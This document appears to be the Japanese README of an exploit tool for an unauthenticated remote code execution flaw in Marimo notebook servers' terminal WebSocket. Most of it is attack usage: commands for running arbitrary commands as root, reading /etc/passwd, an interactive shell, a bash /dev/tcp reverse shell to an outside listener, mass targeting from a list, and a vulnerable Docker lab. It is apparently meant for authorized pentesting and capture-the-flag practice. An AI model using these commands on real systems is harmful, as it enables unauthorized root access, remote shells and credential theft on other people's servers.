
Marimoの事前認証RCE(ターミナルWebSocket経由)のエクスプロイト。コマンド実行、対話型PTYシェル、リバースシェル機能を提供し、許可されたペネトレーションテスト向けです。
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo(19.6k ⭐)は、オープンソースのリアクティブPythonノートブックサーバーです。バージョン ≤ 0.20.4 では、ターミナルWebSocketエンドポイント(/terminal/ws)が公開されており、サーバーで認証が有効になっている場合でも認証を完全にスキップします。
単一の未認証WebSocket接続で、完全なPTY対話型シェルが取得できます。デフォルトのDockerデプロイメントでは、コマンドはrootとして実行されます。
ステータス:
0.23.0でパッチ適用済み — marimo-team/marimo@c24d480
/terminal/ws エンドポイントには、他のすべての認証済みエンドポイントに存在する validate_auth() 呼び出しがありません:
# ❌ /terminal/ws — 認証チェックなし(脆弱)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# 認証チェックなし!
await websocket.accept() # 直接受け入れる
child_pid, fd = pty.fork() # PTYシェルを起動
# ✅ /ws — 正しく認証されている
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # 認証が強制される
return
Marimoの AuthenticationMiddleware は、未認証の接続を UnauthenticatedUser としてマークしますが、拒否はしません — 強制は完全にエンドポイントごとのデコレータまたは validate_auth() 呼び出しに依存しています。/terminal/ws にはどちらもありません。
1. ws(s)://TARGET/terminal/ws に接続 → トークン不要
2. websocket.accept() → 接続が受け入れられる
3. pty.fork() → PTYシェルが起動
4. 任意のコマンドを送信 → rootとして任意のRCE
| ソフトウェア | 脆弱なバージョン | パッチ適用済み |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
WebSocket経由で直接対話型シェルに入ります — リスナーは不要です:
python3 CVE-2026-39987.py -u target.htb -i
[+] 対話型シェル — コマンドを入力、Ctrl+C または 'exit' で終了
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
リバースシェルのペイロードを使用する場合、WebSocket接続が閉じられてもプロセスが生き残るように、nohup ... & でプロセスをPTYから切り離してください:
# 先にリスナーを設定
nc -lvnp 4444
# その後ペイロードを発射
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️
nohup ... &がない場合、シェルプロセスはPTYに紐付けられ、WebSocketが閉じると強制終了されます。直接シェルには-iを、リバースシェルにはnohupを使用してください。
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL 単一ターゲットのURLまたはホスト
-l LIST, --list LIST ターゲットを1行に1つずつ記述したファイル
-c CMD, --cmd CMD 実行するコマンド(デフォルト: id && cat /root/root.txt)
-p PATH, --path PATH WebSocketエンドポイントのパス(デフォルト: /terminal/ws)
-t SEC, --timeout SEC 諦めるまでの無音時間(秒)(デフォルト: 2)
-d SEC, --delay SEC 接続後、バナーを読み取るまでの遅延(秒)(デフォルト: 1)
-i, --interactive 対話型PTYシェル — 接続を維持
--verify SSL証明書の検証を有効化(デフォルトでは無効)
-q, --quiet ステータスメッセージを抑制し、出力のみ表示
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] ターゲット : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] モード : command
[*] コマンド : id && cat /root/root.txt
[*] 接続中...
[*] バナーを読み取り中...
[+] ペイロード送信中...
[+] 出力:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
このツールは教育目的および許可を得たペネトレーションテスト専用に提供されています。
作者は、このツールの誤用または損害について一切の責任を負いません。
所有していないシステムをテストする前に、必ず適切な許可を取得してください。